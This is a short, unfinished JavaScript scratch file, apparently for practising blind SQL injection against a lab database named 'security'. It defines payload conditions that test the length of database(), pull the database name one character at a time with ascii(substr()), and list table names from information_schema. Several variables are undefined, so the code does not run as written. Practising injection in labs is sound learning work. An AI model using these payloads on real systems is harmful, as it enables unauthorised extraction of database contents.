// const res = await fetch('https://baidu.com');
// const html = await res.text();
// console.log(html)

const opt = {
    cond: '',
    i: '',
    j: '',
    n: 0,
}
const tmpl = url => opt => ``

const cond1='length(database())=${n}'
const cond2='ascii(substr(database(),${i},1))=${c},1,0'

const cond4=`ascii(substr((select table_name from information_schema.tables where table_schema='security' limit ${i},1),${j},1))=${c}`

const a = url.replace(/\[i\]/g, i)
console.log("a: ", a)
